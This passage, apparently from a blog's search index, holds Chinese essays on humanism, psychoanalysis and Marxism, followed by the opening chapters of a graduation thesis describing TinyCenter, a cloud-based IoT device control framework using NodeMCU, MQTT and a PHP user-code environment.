%E4%BA%BA%E4%B8%BA%E6%9C%AC/","summary":"我们已经知道人孤独的本质。在面对自然时我们使用创造来发挥力量；在面对接触到的人时我们使用爱来发挥力量。那么问题来了，面对整个人类社会时，我们的力量在哪里？我们似乎只能通过顺从来求存。人类社会比自然界对人弱点的研究更加深入、更加有针对性，同时控制本身也更加无孔不入。这种无力感可能在绝大多数时候难以察觉，那可能是因为他已经不自觉地参与服从了。\n面对人类社会的种种力量，国家机器、制度、文化、舆论、军队、警察、官僚系统的监视和支配时，人面临与他面临自然、他人时所经历的同样的无力感，我们却找不到什么办法去证明自己的力量，只能在顺从的同时寄希望于社会本身的变革。换句话说，社会的各项制度本应是为人而服务，目标在于解决人的基本生存问题，同时服务于人的最大幸福——也就是人本主义。\n人类社会带我们摆脱自然界的束缚，却带我们进入了全新的束缚，我们重新体验到了自己的无力感，我们证明自己力量的方法只能是，某种“一时兴起”的“自由”。互联网的兴起加强了舆论对我们的束缚（也许传播学能告诉我们如何在舆论面前发挥自己的力量）。脱离了人类社会我们就无法生存，但人类社会也控制着我们使我们产生各种各样的无力感——这是一对基本矛盾。如何才能在人类社会中安身立命，又能摆脱这种无力感呢？资本主义社会办不到。\n在面对无力感时，人产生的近乎于本能的反应（其实很多是早期经验），可以参考《逃避的心理机构》的相关内容。\n庞大的中产阶级群体是财政收入的重要保障，但在面临社会变革时，他们也是最大的保守力量。\n我想总结一下我的看法——人本主义精神分析主要研究如何解决内在的问题，而外在的问题也就是人类社会的问题同样不可忽视（第一段中的基本矛盾），这也就是马克思主义的伟大之处。但马克思主义者由于传统的原因常常忽视心理学，经典精神分析由于其机械唯物主义的哲学基础而难以与马克思主义相结合。","title":"以人为本的本质是人类社会的以人为本"},{"content":"以精神分析为代表的内在解放与以马克思主义为代表的外在解放（阶级斗争）之间蕴含的是人所具有的一对矛盾。\n精神分析是指导人探索人的本质动力的心理哲学，在辩证唯物主义哲学体系出现后，我们重新审视以机械唯物主义为哲学基础的弗洛伊德经典精神分析，并对经典精神分析理论做了一系列改造（或变革）。\n阶级斗争的本质是生产力的斗争，它要求人不断提升生产力水平。资本主义经过一系列改良，从目前来看依然能够适应并驱动生产力水平的提升，因此我们可以说，资本主义目前仍然具有它的活力。\n社会主义的优越性本质是其更加适应极高生产力水平条件下的发展，而资本主义则更加适应较低生产力水平下的生产力发展，我们说资本主义在当下仍然具有活力，我国也产生了“社会主义初级阶段”的“类资本主义”社会阶段，但当生产力水平发展到一定阶段，资本主义将会自发消失，因为它阻碍了生产力的发展，必将会被推倒。\n社会主义的优越性本质必然包含生产力水平的更高速发展，因为如果社会主义不能满足这个要求，则必然被生产力水平更高的资本主义消灭，所谓的“优越性”也就成了一种自嗨。\n而精神分析所指导的“积极行为”则是忽略结果的——也即，创造行为本身既是注重结果的，又是忽略结果的。这又是关于“人的解放”的一对矛盾。\n","permalink":"https://widegram.com/2021/06/%E4%B8%A4%E7%A7%8D%E8%A7%A3%E6%94%BE%E4%B9%8B%E9%97%B4%E7%9A%84%E7%9F%9B%E7%9B%BE/","summary":"以精神分析为代表的内在解放与以马克思主义为代表的外在解放（阶级斗争）之间蕴含的是人所具有的一对矛盾。\n精神分析是指导人探索人的本质动力的心理哲学，在辩证唯物主义哲学体系出现后，我们重新审视以机械唯物主义为哲学基础的弗洛伊德经典精神分析，并对经典精神分析理论做了一系列改造（或变革）。\n阶级斗争的本质是生产力的斗争，它要求人不断提升生产力水平。资本主义经过一系列改良，从目前来看依然能够适应并驱动生产力水平的提升，因此我们可以说，资本主义目前仍然具有它的活力。\n社会主义的优越性本质是其更加适应极高生产力水平条件下的发展，而资本主义则更加适应较低生产力水平下的生产力发展，我们说资本主义在当下仍然具有活力，我国也产生了“社会主义初级阶段”的“类资本主义”社会阶段，但当生产力水平发展到一定阶段，资本主义将会自发消失，因为它阻碍了生产力的发展，必将会被推倒。\n社会主义的优越性本质必然包含生产力水平的更高速发展，因为如果社会主义不能满足这个要求，则必然被生产力水平更高的资本主义消灭，所谓的“优越性”也就成了一种自嗨。\n而精神分析所指导的“积极行为”则是忽略结果的——也即，创造行为本身既是注重结果的，又是忽略结果的。这又是关于“人的解放”的一对矛盾。","title":"两种解放之间的矛盾"},{"content":"TinyCenter **\nTinyCenter | 基于云端的物联网设备控制和协同工作框架**\n**摘 要：**物联网正在逐渐的进入到大众的生活当中，并即将促使人类进入下一个智能时代。尽管市面上有很多物联网管理系统，但几乎都不支持用户代码、数据监控等功能。本设计提出了一个更具潜力的系统，系统对各个组件之间进行了分层、分区管理：使用中心控制器实现了信息的自动配送机制，辅助控制器提供了区分公共设备和私有设备的能力，Client端中提供了指令的标准化解析方法。而在服务器端，设备驱动将抽象的指令信息具象化，并使用类标记来同时管理那些在某方面相似的设备，自定义按钮使得用户可以快捷地完成操作；基本数据表可以存放设备的自定义数据，基本指令队列保证指令存取操作的原子性；用户代码运行环境是本系统最重要的创新和特色功能，支持用户自定义代码，该环境简单易学，不仅可以过滤危险的用户代码，内置的Userlib还为用户随时随地个性化管理设备提供了无限可能；设备选择器不仅可以依据中心控制器划分不同的管理区域，还可以根据设备的类和编号管理设备，通过不同限制的组合进行精细化管理；通过统一高效的数据监视器，实现了传感器与其他设备之间的自动化配合，以此可以实现多个设备间的协同工作，同时考虑了传感器数值变化的延迟性，设计了反向重复的算法避免了代码的重复执行；串行指令不仅可以获取指令执行成功与否，还可以在指令执行完成后自动执行用户指定的其他代码，实现了指令与指令之间的同步，有能力完成更加精细化的设备管理操作；权限控制系统规定了不同用户控制设备的范围，也可以阻止不明设备接入系统；日志系统可以记录系统中出现的错误，用户通知中心可以实时提醒用户设备的当前状态。配合Android客户端的使用，解决了许多实实在在的问题。\n**关键词：**物联网 控制 协同工作 框架\nTinyCenter—IoT Control and Collaboration Framework Based on Cloud Service\nAbstract: The Internet of things is gradually entering into the life of the public, and it will promote human to enter the next intelligent era. Although there are many Internet of things management systems on the market, their functions are not perfect. This graduation project puts forward a more potential system, which manages the components in layers and zones: the Center Controller is used to realize the automatic distribution mechanism of information, the Accessiorial Controller provides the ability to distinguish public equipment from private equipment, and the Client provides the standardized analysis method of instructions. On the server side, the device driver visualizes the abstract instructions, uses class tags to manage similar devices, and the user-defined buttons enable the user to complete the operation quickly; the basic data table can store the user-defined data of the device, and the basic instruction queue ensures the atomicity of the instruction access operation; the user code operation environment is the most important innovation and feature of the system, which support user-defined code, the environment is simple and easy to learn, not only can filter dangerous user code, but also the built-in userlib provides unlimited possibilities for users to personalized manage the device anytime and anywhere; the device selector can not only divide different management areas according to the center controller, but also manage the device according to the class and number of the device, through the combination of different restrictions, refined management will be realized; a unified and efficient data monitor, which realizes the automatic cooperation between sensors and other devices, so as to realize the cooperative work among multiple devices; serial instructions can not only obtain the success of instruction execution, but also automatically complete the operations specified by users after execution, so as to realize the synchronization between instructions and have the ability to complete More refined equipment management operations; the authority control system specifies the scope of different user control equipment, and it can also prevent unknown equipment from accessing the system; the log system can record errors in the system, and the user notification center can remind the user of the current status of the equipment in real time. With the use of Android client, many practical problems have been solved.\nKeywords: IoT; control; collaboration; framework\n**\n**\n正文目录\n1\t绪论\t7\n1.1\t研究背景\t7\n1.2\t研究目的和意义\t7\n1.3\t现状与发展趋势\t7\n1.3.1\t国内现状\t7\n1.3.2\t国外现状\t8\n1.3.3\t存在的问题\t8\n1.4\t论文组织结构\t9\n2\t系统需求与总体设计\t10\n2.1\t总体框架设计\t10\n2.2\t系统功能需求\t11\n2.2.1\t中心控制器\t11\n2.2.2\t辅助控制器\t11\n2.2.3\t设备Client端\t12\n2.2.4\t服务器端\t12\n2.2.5\t系统Android端\t13\n2.3\t相关技术概述\t14\n2.4\t本章小结\t15\n3\t嵌入式设备的软件设计和实现\t16\n3.1\t中心控制器\t16\n3.1.1\t总体设计\t16\n3.1.2\t模块ParseData\t17\n3.1.3\t模块CloudHandler\t17\n3.1.4\t模块AccessorialControllerHandler\t18\n3.1.5\t模块MQTTHandler\t18\n3.1.6\t类CenterController\t19\n3.2\t辅助控制器\t21\n3.2.1\t总体设计\t21\n3.2.2\t信息的获取和发送\t21\n3.2.3\t系统的离线运行\t22\n3.3\tClient设备\t23\n3.3.1\t简述\t23\n3.3.2\t响应用户指令——修改justRunOrder函数\t23\n3.4\t使用屏幕——一个应用辅助控制器的实例\t25\n4\t云端软件设计和实现\t27\n4.1\t基本框架综述\t27\n4.1.1\t综述\t27\n4.1.2\t设备信息的存储方式\t27\n4.1.3\t新设备的接入\t28\n4.2\t设备驱动\t28\n4.2.1\t指令的结构\t28\n4.2.2\t设备的类\t28\n4.2.3\t设备驱动的含义\t29\n4.2.4\t设备驱动的查找方式\t29\n4.2.5\t快捷操作——自定义命令按钮\t30\n4.3\t基本数据表\t30\n4.3.1\t基本数据表的含义\t30\n4.3.2\t更新、修改和删除\t31\n4.4\t基本指令队列\t31\n4.4.1\t什么是基本指令队列\t31\n4.4.2\t循环过程\t32\n4.5\t用户代码运行环境\t32\n4.5.1\t使用SaferEval\t33\n4.5.2\t使用Userlib\t33\n4.5.3\t设备选择器\t35\n4.6\t数据监视器及其抽象形式\t36\n4.6.1\t基本运行过程\t37\n4.6.2\t数据监视器的抽象形式\t38\n4.6.3\t选中和激活\t38\n4.6.4\t三种运行模式\t39\n4.6.5\t反向重复模式的一个例子\t40\n4.7\t串行指令队列\t41\n4.7.1\t使用serial_run函数\t42\n4.7.2\t使用串行指令队列——以serial_run函数为例\t42\n4.8\t权限控制\t43\n4.8.1\t简述\t43\n4.8.2\t设备的“所有者”（Owner）\t43\n4.9\t信息反馈——日志和用户通知系统\t43\n4.9.1\t日志系统\t43\n4.9.2\t用户通知系统\t44\n4.10\t与Android客户端的信息交互\t44\n5\tAndroid客户端软件设计\t46\n5.1\t用户登录页面\t46\n5.2\t设备信息页面\t46\n5.2.1\t所有设备\t47\n5.2.2\t指令队列\t47\n5.2.3\t监视器\t48\n5.2.4\t日志\t48\n5.2.5\t通知\t49\n5.2.6\t关于\t49\n5.3\t用户代码页面\t50\n5.4\t实现模型\t50\n6\t实验与测试\t53\n6.1\t前期准备\t53\n6.2\t实时温度计\t54\n6.2.1\t准备工作\t54\n6.2.2\t观察信息\t55\n6.3\t数据监视器和快捷按钮\t56\n6.3.1\t准备工作\t56\n6.3.2\t操作与信息观察\t57\n7\t总结和展望\t59\n参考文献\t60\n绪论 研究背景 物联网的概念最早在1995年被提出[1]，在比尔盖茨的《The road ahead》一书中描述了相关的场景[2]。但是受限于的计算机科学和传感器技术，这个概念没有引起广泛的关注。1999年，美国Auto-ID重新提出了使得射频标签技术与互联网结合的设想，与物联网的概念不谋而合，引起了关注。2005年11月，国际电信联盟（ITU）在突尼斯举行了信息社会世界峰会（WSIS），会上发布了《ITU Internet Reports 2005：The Internet od Things》，“物联网”的概念被正式提出[3]。2009年1月，IBM首席执行官提出了“智慧地球”的构想，希望使用互联网将物联网整合起来，使得人类可以用更加精细和动态的方式管理生产和生活。物联网通过智能感知、识别技术与普适计算、泛在网络的融合应用，被称为继计算机、互联网之后世界信息产业发展的第三次浪潮。物联网也被认为是互联网的应用拓展，应用创新是物联网 发展的核心，而以用户体验为核心的创新是物联网发展的灵魂。根据CISCO的报告，世界物联网设备数量在2020年将达到500亿个。世界物联网的潜在经济影响为为每年2.7万亿美元至6.2万亿美元。因此，物联网行业具有十分广阔的市场和应用前景[4]。\n研究目的和意义 本系统使用MQTT协议和WiFi技术在物与物之间建立联系[5]，可以节约人力物力资源，提升效率。通过将物联网系统接入云端，无论用户身处何方都可以快速地控制整个系统。同时还提供了Android端应用程序，方便用户对系统的控制和状态的查看。本文提出的物联网管理框架被命名为TinyCenter，是开源框架，实现了物联网管理系统所需的基本功能，同时进行了一些创新，如提供用户代码运行环境和提出了“类”的概念等，或许可以为以后的研究提供一些思路。\n现状与发展趋势 国内现状 随着时间的推移，国内的物联网管理平台逐渐成熟[6]，国内提供物联网管理平台的有阿里云、华为云等，下面对它们进行一些简单介绍。\n华为顺应物联网的发展浪潮，通过APIs开放、业务编排以及数据开放来使产品降低成本、缩短开发周期。同时提供面向人与物系列化的SDK，提供强大的通信能力，数据采集能力，设备控制能力以及实时交互能力，用户可以根据自己的产品需求快捷地申请和调用这些功能[7]。\n阿里云物联网平台为设备提供安全可靠的连接通信能力，提供云端API，服务端通过调用云端API将指令下发至设备端，实现远程控制，物联网平台也提供了其他增值能力，如设备管理、规则引擎等，扩展了物联网平台的功能[8]。\n国外现状 国外的物联网技术也十分先进，目前排名靠前的有AWS、Google Cloud IoT等，下面对它们进行介绍。\n通过AWS物联网核心，设备可以连接到互联网，设备之间也可以交换数据。通过安全连接，可以在设备和云存储之间发送数十亿条消息，该平台支持各种通信协议，包括自定义协议，从而实现不同制造商设备之间的通信[9]。\n谷歌云平台是另一个支持物联网解决方案的全球云提供商。云物联网核心是谷歌云物联网套件的核心，允许连接各种设备并收集其数据，谷歌云支持云发布/订阅，处理事件数据并提供实时流分析的服务，另外，谷歌云也支持云机器学习引擎，允许建立ML模型和使用从物联网设备接收的数据[10]。\n存在的问题 经过研究与分析，发现目前市场上的物联网管理系统主要存在以下问题：\n（1）几乎没有提供统一的数据内容监视及反应功能。如阿里云仅提供在线设备数量、上下行消息数量、设备网络状态等指标数据的实时监控功能，而没有提供数据内容的监控功能；\n（2）没有提供用户代码运行环境，控制设备需要在服务器端预设动作，操作较为复杂；\n（3）没有提供设备的分区管理功能，也没有明确区分公共设备和私有设备的能力；\n（4）更多地应用于企业领域，价格较高，学习成本较高。\n论文组织结构 本文共分为六个章节，章节简要安排如下：\n第一章绪论。主要介绍背景、研究的目的和意义、国内外现状及存在的问题；\n第二章系统需求与总体设计。对系统进行了总体分析，包括总体框架设计、系统功能需求和相关技术概述；\n第三章嵌入式设备的软件设计和实现。对中心控制器、辅助控制器和Client设备进行的软件设计展开描述；\n第四章云端软件设计和实现。对云端的软件设计和功能进行具体描述；\n第五章Android客户端软件设计。基于云端的功能对Android客户端的软件设计进行描述；\n第六章功能测试。举出了几个实例，并对其进行了系统流通性和完整性测试。\n第七章总结与展望。总结了完成系统过程中所做的工作，指出系统的优缺点，对课题对未来的研究方向和系统待提高的技术做出了展望。\n系统需求与总体设计 总体框架设计 图 21整体结构框架图\n整套系统的整体结构如下：\n云端（Server，也称Cloud）负责收集来自公网中的指令（Order），将其发布给中心控制器；\n2. 中心控制器（Center Controller，CC）负责指令的转发和设备的分割管理，是类似网关的角色；\n3. 辅助控制器（Accessorial Controller，AC）负责管理一些固定设备（如屏幕、语音控制器等），同时也可以监控Client的状态和发布指令。AC可以使整套系统在无法连接到Server的情况下脱机运行；\n4. 设备端（Client）负责连接和管理具体的嵌入式模块（如电灯等）。\n图 22指令发出与接受流程简图\n当指令到达云端时，服务器端通过指令队列发布一个公告（Announcement），中心控制器会定期查看这个公告，并将该指令下载和分解，中心控制器会智能地选择指令的出口，即，选择将指令发送到设备端（Client）还是发送到辅助控制器。Client执行完成后会自动（强制）将完成后的状态信息返回给中心控制器，以即时地更新服务器端上的信息。\nClient不能给其他的Client发送指令，但可以给辅助控制器发送特殊指令（Special Order），以便控制屏幕的显示信息或其他。\n同时，每个Server可以与多个Android App、多台中心控制器连接，每台中心控制器可以与多个Client相连。每个中心控制器可以连接一个辅助控制器。\n系统功能需求 中心控制器 “中心控制器”（Center Controller）是云端与设备数据之间传送的桥梁。\n图 23整体结构示意图\n如图示，一个TinyCenter系统中拥有多个中心控制器，每个中心控制器管辖多个Client设备和一个辅助控制器。\n中心控制器需要向云端、辅助控制器和Client设备分别请求信息，将其分解后得到目的地址，并选择正确的路径将其发送出去。\n配合设备选择器，中心控制器也可以提供设备的分区管理功能。\n辅助控制器 “辅助控制器”（Accessorial Controller）可以帮助完成多数设备所共同期望的功能，并对它们进行汇总。辅助控制器提供了区分公共设备与私有设备的能力：与辅助控制器直接相连的设备为公共设备，而2.2.3节描述的普通Client设备可看作私有设备。出于安全性的考虑，私有设备之间不能直接发送信息，但私有设备与公共设备（也称辅助设备）可以。举例来说，辅助控制器上可以外接一个屏幕，该中心控制器所管辖的所有设备都可以在这块屏幕上显示自己的信息给用户，而不需要所有的client都自行安装屏幕，这样可以在没有服务器端的时候对所有设备的状态进行检查。\n图 24辅助控制器示意图\n如图，辅助控制器可以连接多个辅助设备，如屏幕、语音识别、扬声器等。使用辅助控制器，多个Client设备可以共享一块屏幕、一个扬声器等，也可以使用一个语音识别模块进行统筹调用。\n设备Client端 “Client端”又称设备端，可以简称为“设备”，与之前的辅助设备不同，Client端可以由服务器或辅助控制器直接调度，是最终接收指令的设备。\n通过对指令的解析和修改justRunOrder函数，Client端可以完成的工作多种多样，但在指令执行完成后，设备端必须将其当前的状态上传至服务器端，使服务器端可以实时获得最新的数据。\n在本文中，Client使用NodeMCU作为运行载体。只要遵循相应的数据传输协议，也可以使用其他类型的开发板。\n服务器端 服务器端实现的功能包括用户代码的执行、数据的监控和存储以及信息反馈等。\n图 25服务器端的功能示意图\n服务器端的整体结构如上图。\n首先，服务器端实现了“基本数据表”功能，Client设备可以上传自己的信息到基本数据表，并对其进行修改。“数据监视器”在基本数据表被修改时检查之，若发现数据表中的数据内容符合某个条件，则自动调用SaferEval和Userlib并执行一段用户代码。\n用户可以执行特定的用户代码，该代码为PHP语法。为了限制用户代码，禁止其执行某些危险操作，所有的用户代码都必须在SaferEval下调用Userlib执行。用户也可以自定义一些“快捷按钮”，按钮直接对应设备的驱动项。驱动负责将某个驱动函数翻译成设备的指令信息。Userlib还可以使用设备选择器，同时选择多个设备发出相同的指令，设备选择器配合中心控制器可以完成设备的分区管理。Userlib也可以使用设备驱动向设备发送指令。\n发出的指令信息被存储在指令队列中。基本指令队列和串行指令队列共享同一个指令队列，但基本指令（也称并行指令）的id值为正数，而后者为负数。基本指令的执行顺序不确定，而串行指令会附带有明确的执行顺序的用户代码。在服务器中两者兼有时，抽取一条指令并发出“公告”的顺序不确定。\n最后，服务器端支持日志系统和用户通知系统。前者可以用来记录系统中出现的各种错误信息，而后者可以被Userlib直接调用，向用户直接发送通知信息。\n系统Android端 Android端主要实现了信息的展示和发送。通过服务器端，Android端可以直接执行用户代码并发送指令。\nAndroid端包括用户登录和信息展示和处理功能，可以获取设备、指令队列、监视器、日志和通知的所有内容，也可以发送一段用户代码。\n相关技术概述 NodeMCU NodeMCU是中心控制器、辅助控制器和Client设备的载体。下图为NodeMCU模块[11]：\n图 26 NodeMCU\nArduinoJson ArduinoJson是嵌入式系统中优雅和高效的Json库，用于分解和组装JSON数据。它仅使用最基本的API，确保工作时消耗最小的内存空间。ArduinoJson可以应用在任何的C++项目中。TinyCenter嵌入式设备使用ArduinoJson分解和拼装各种数据。\nPHP 云端使用PHP语言开发。PHP 是一种 HTML 内嵌式的语言，是一种在服务器端执行的嵌入HTML文档的脚本语言，语言的风格类似于C语言，现在被很多的网站编程人员广泛的运用。\nMQTT协议 MQTT协议是一个基于客户端-服务器的消息发布/订阅（publish / subscribe ）传输协议，该协议的构建是基于TCP/IP协议的[11]。MQTT在该系统中运用在硬件和服务端进行交互，用户获取LCD显示信息，改变LED状态。服务端发布Topic，硬件端订阅Topic。使用主要使用了NodeMCU开源的物联网开发平台，集成了WiFi芯片ESP8266的最小系统板来进行开发[5]。在TinyCenter中，MQTT模块被使用来实现Client和中心控制器之间的信息交互。\n本章小结 本章展示了TinyCenter的整体结构和功能，并对相关技术进行了概述。这些功能的具体情况将在之后的章节展开叙述。\n嵌入式设备的软件设计和实现 中心控制器 中心控制器是TinyCenter中信息传输的桥梁，可以同时沟通服务器端、辅助控制器和设备端（设备端将从MQTT订阅流获取数据）。同时中心控制器也有助于将设备分块管理，将某些指令限制在中心控制器内（详见4.5.3设备选择器）。\n总体设计 下图为中心控制器的内部实现，图中的中心控制器方框可以看作CenterController类。\n图 31中心控制器\n可以看到，服务器端、辅助控制器和MQTT订阅流分别有一个沟通组件，分别为CloudHandler、AccessorialControllerHandler和MQTTHandler，分别负责将收到的数据进行收集汇总。服务器与中心控制器之间的信息传输通过TCP进行，而辅助控制器使用软串口；Client设备使用MQTT与中心控制器通信。ParseData模块负责将收到的JSON指令进行分解，并由CenterController选中合适的出口将数据传送出去。其中的digiMQTT是与MQTT订阅流直接沟通的底层模块，由MQTTHandler调用。\n图 32使用CenterController类\n在使用中心控制器时，需要定义DigitalmanCenterController类，可以设置一个AccessorialControllerHandler指针包含其中。\n模块ParseData ParseData模块包含parseVCData函数和convertDigiDataToJson函数等，分别用来实现JSON的分解与合成。\n图 33 JSON数据的转化\n在中心控制器的ParseData模块中还规定了其唯一的Ccid。\n模块CloudHandler CloudHandler模块负责与云端交换数据。其核心为httpGet函数，用于请求HTTP信息，以便获得服务器上的“公告”信息。\n图 34获得HTTP信息\n使用sendStatusToServer函数可以将一个DigiData数据（详见3.3.2.1节）发送到服务器。\n图 35发送DigiData\n模块AccessorialControllerHandler AccessorialControllerHandler模块负责通过软串口与辅助控制器交换数据。通过digiDetectVoiceOrder函数获取来自辅助控制器的信息，通过sendStringToAC函数将数据输送到辅助控制器。\n图 36辅助控制器控制模块\n图 37检测软串口\n模块MQTTHandler MQTTHandler模块包含一个digiMQTT模块，负责处理digiMQTT模块发回的信息，并控制其状态。使用handlePayload可以分解接收到的信息。\n图 38处理MQTT消息\n类CenterController 概述 CenterController类继承于ParseData类，同时统筹AccessorialControllerHandler、CloudHandler和MQTTHandler模块。\n图 39 CenterController类\n函数workOnce会统一检测一次所有信息的入口并处理它们，需要在loop函数中调用它。\n图 310 workOnce函数\n图 311 Loop函数\n在setup函数中，我们需要连接wifi，并使用startCCServer函数开启中心控制器。\n图 312 Setup函数\n可靠的快递员——“数据配送”机制 数据配送机制是指，无论是设备端、服务器端还是辅助控制器，对于任何需要传输的数据，使用者只需要指定数据的内容和接受者，TinyCenter会自动选择数据的传送路径，并最终将其输送至正确的位置。\n数据目标位置信息的确定需要数据中isorder字段的参与（参考3.3.2.1节）。若isorder=1，则该数据为服务器发送给设备端的数据；若isorder=0，则该数据为设备端返回给服务器端的状态信息；若isorder=2，则该数据为设备在操作基本数据表；若收到client发来的isorder=1的数据，则观察其intpara字段是否为特定值，以确定该指令是否应该传输给辅助控制器。\n我们来看看数据的传送方向有哪些可能。\n首先，服务器端-设备端，这是最常见的数据传输方向，服务器端需要向设备端发送指令，设备端需要向服务器端返回其状态和错误信息，设备端还会向服务器端发送请求进行改变其基本数据表等操作，这些操作的数据都需要途经中心控制器进行处理。\n我们知道，在一个独立的TinyCenter系统中，可能存在多个中心控制器，每个中心控制器可能管辖着多个设备。为了知道设备的具体位置，在设备接入网络时，需要首先通过MQTT订阅流向中心控制器发送一条“上线信息”，该信息会包含设备当前的状态。中心控制器将该“上线信息”加上自身标识（CCid）后将其传输给服务器，最终该信息将会被登记在服务器上。当服务器需要向设备发送指令时，会自动抽取其CCid信息，在中心控制器向服务器请求指令时进行过滤（4.4.1节，表中的CCID项）。例如，2号设备目前被1号中心控制器管辖，该中心控制器请求指令时会附带其ccid（=1），服务器仅返回与该中心控制器有关的一条指令，再由中心控制器发送到与设备标识（clientid）有关的一个MQTT订阅流中，设备通过digiMQTT模块即可读取。\n设备在返回值时，会将信息放入到MQTT流中，中心控制器读取信息后通过GET方式返回到服务器端。\n其他的几条路径，如设备端-辅助控制器甚至服务器-辅助控制器之间的数据传输均由中心控制器的CenterController类将信息分拣并选择相应的出口传输，在此不再赘述。\n辅助控制器 总体设计 辅助控制器最初被设计用来承载语音控制端。TinyCenter规定，Client设备之间不能直接传输指令，想要实现类似的功能必须通过Userlib和数据监视器，但辅助控制器可以直接接收和发送设备指令。辅助控制器与中心控制器通过软串口直接相连。\n图 313辅助控制器\n图中的设备指的是辅助设备，与Client设备有本质的不同。如果将这些辅助设备看作某种资源，那么它们被该中心控制器下的所有Client设备所共享。\n信息的获取和发送 在辅助控制器的setup函数中首先进行软串口的安装。\n图 314 Setup函数\n在Loop函数中处理要接收和发送的信息。\n图 315 Loop函数\n如果存在要发送的指令，只需要调用entityVData函数，haveVoiceOrderToSend函数就会返回真值。\n图 316 发送指令\n在执行指令时，我们需要修改辅助控制器中的runOrder函数，原理与Client中的justRunOrder函数一致（参考3.3.2节）。\n图 317 解释指令\n系统的离线运行 上图中的“设备”是附加设备，与Client设备是不同的概念。辅助控制器可以连接的设备包括语音识别器、屏幕等，这些设备的资源被所有Client设备所共享。例如语音识别，通过辅助控制器实现的简单语音识别功能可以比服务器端更加快速高效。更加神奇的是，辅助控制器可以使得整个系统在脱机状态下运行，即使服务器端断网，也可以应急启动。\n辅助控制器可以处理多个附加设备的信息，可以接收从Client设备传来的特殊指令，也可以通过中心控制器向它们发送指令。\n用户可以选择连接或不连接辅助控制器，在不连接辅助控制器时，应当在CenterController类创建时，将辅助控制器选项置为NULL。\nClient设备 简述 Client设备是整套系统所最终操纵的设备，也简称作“设备”，是指令的最终接受者之一（辅助控制器也可以接受指令）。\n图 318 Client设备\n如图示，Client中包含一个digiMQTT类，该类是与MQTT订阅流沟通的底层模块。在接收到指令后，convertData函数会负责分解指令，并将其交给runOrder函数运行。\n响应用户指令——修改justRunOrder函数 使用DigiData类 DigiData类用于存储分解后的数据信息，如下图：\n图 319 DigiData类\n其中isorder字段用于规定数据的类型，可以以此判断数据的流向，error字段为错误信息，ccid为参与数据传输的中心控制器标识，clientid为目标设备（或源设备）标识，intpara和str用于规定指令（或状态数据）的具体内容。\n在Client设备中，有一个DigiData类型的全局变量myStatus，用于存储设备的当前状态。runOrder函数会在指令执行完成后自动上传myStatus的内容。\n分解操作由parseVCData函数完成，将DigiData转换为JSON格式由convertDigiDataToJson函数完成，这两个函数的代码与3.1.2节类似，这里不再赘述。\n使用justRunOrder函数 指令由runOrder函数进行具体执行，如下图。这里的广播指令功能暂未完成，isPrivate通常直接置为0，intPara为-2时，代表服务器仅仅是在请求设备的当前状态，isorder为负数代表该指令为串行指令（详见4.7节）。\n图 320 runOrder函数\nrunOrder函数会调用justRunOrder函数，该函数包含一个digiData参数，是收到的指令分解后的结果，用户的自定义代码可以自由地对指令进行筛选运行；之后会调用sendMyStatus函数强制返回设备当前的状态给服务器（sendMyStatus函数也需要调用convertData转换数据），以实现服务器与设备的状态信息同步。\n图 321使用justRunOrder函数\n如图示，若收到的指令中intpara值为1，则打开灯并通过辅助控制器在屏幕上写上“Light on”字样，反之依然。若函数的返回值为true，则代表指令执行成功，否则返回false。该项会在返回信息中的error字段有所体现，在串行指令相关内容中会在之后具体阐述。\n换言之，用户只需要修改justRunOrder函数，就可以实现对指令的分别执行。同时，使用setMyIntPara等函数修改设备等当前状态，使之与服务器同步；使用setDataTable函数可以对基本数据表进行修改和更新。\n使用屏幕——一个应用辅助控制器的实例 我们在这里编写一个简单的实例，来应用辅助控制器的具体使用。我们需要达成的效果是，当Client设备执行完自己的指令后，向中心控制器发送一个特殊指令，动态地修改LCD屏幕（与辅助控制器直接相连）上的文字。\n下图中的displayOnTheScreen函数在Client设备中定义，参考3.3节中justRunOrder函数中的内容（DISPLAY_ON_THE_LCD的值为-5）：\n图 322 displayOnTheScreen函数\n修改中心控制器中的detectMessageFromClientsAndHandle函数，使之将数据正确转发：\n图 323 detectMessageFromClientsAndHandle函数\n下图中的displayOnTheScreen函数在中心控制器中定义。为了处理该信息，我们需要在中心控制器中的AccessorialControllerHandler模块中自定义一个displayOnTheScreen函数，用于向辅助控制器发送屏幕显示信息。\n函数displayOnTheScreen将intpara置为DISPLAY_ON_THE_LCD，可以直接使用AccessorialControllerHandler模块中定义的sendStringToAC函数将其转发到辅助控制器的软串口上。\n图 324 函数displayOnTheScreen\n辅助控制器会自动解析收到的数据并将其转化为DigiData数据。在辅助控制器中，有一个runOrder函数（与Client设备中的justRunOrder函数功能一致），我们对其进行一些修改，使之能够识别从中心控制器转发而来的指令：\n图 325 runOrder函数\n其中的displayString函数负责将文字显示在LCD屏幕上。\n图 326 displayString函数\n云端软件设计和实现 基本框架综述 云端是TinyCenter管理、处理信息的最重要的地点，承担着大部分的功能任务，是TinyCenter最重要的部分。\n综述 云端支持的功能包括用户指令、数据监控、数据存储和信息反馈等，分别由不同的模块完成。其中Userlib是云端的中枢模块，可以由用户通过SaferEval调用。\n设备信息的存储方式 在TinyCenter中，设备信息被存储在服务器的digitalmandemo表中（这些信息多数是由设备的“上线信息”提供，见3.1.6.2节），包括唯一的设备标识clientid、所有者标识userid、名称name、设备描述clientdesc、状态信息、显示权限isDisplay、隶属的中心控制器编号ccid、类信息class_name、基本数据表信息data_table和快捷按钮信息buttons。\n名称 类型 含义 描述 Clientid Int 设备标识 每个设备都有一个唯一的clientID Userid Int 所有者标识 每个设备都有一个唯一的所有者Owner Name Text 名称 设备名称，由用户指定 Clientdesc Text 描述信息 设备描述信息，由用户编写 Status Int 状态信息 整型状态信息 Status_string Text 状态信息 状态信息的补充，字符串类型 isDisplay Text 显示权限 控制该设备可以由哪些用户查看 CCid Int 中心控制器标识 指定该设备隶属于哪个中心控制器 Class_name Text 类信息 指定该设备属于哪些类 Data_table Text (JSON) 基本数据表信息 以JSON格式存储的基本数据表信息 Buttons Text (JSON) 快捷按钮信息 以JSON格式存储的快捷按钮信息，对应的动作为设备的驱动项，这些按钮将可以在Android客户端中被用户直接使用。 表 41 digitalmandemo表\n新设备的接入 Client设备在启动并接入网络时，会自动通过“数据配送”功能向服务器发送自身的上线信息，包括上表中的大部分内容。\n一个以前从未接入过TinyCenter的设备尝试接入框架时，服务器会首先验证其权限。在被允许后，服务器会自动在数据库中插入该设备的信息，无需用户的手动干预。\n设备驱动 使用设备驱动，用户可以从各种繁杂的数字代码中解脱出来，减轻其编写用户代码的负担。设备驱动系统可以将驱动函数翻译成具体的指令。\n指令的结构 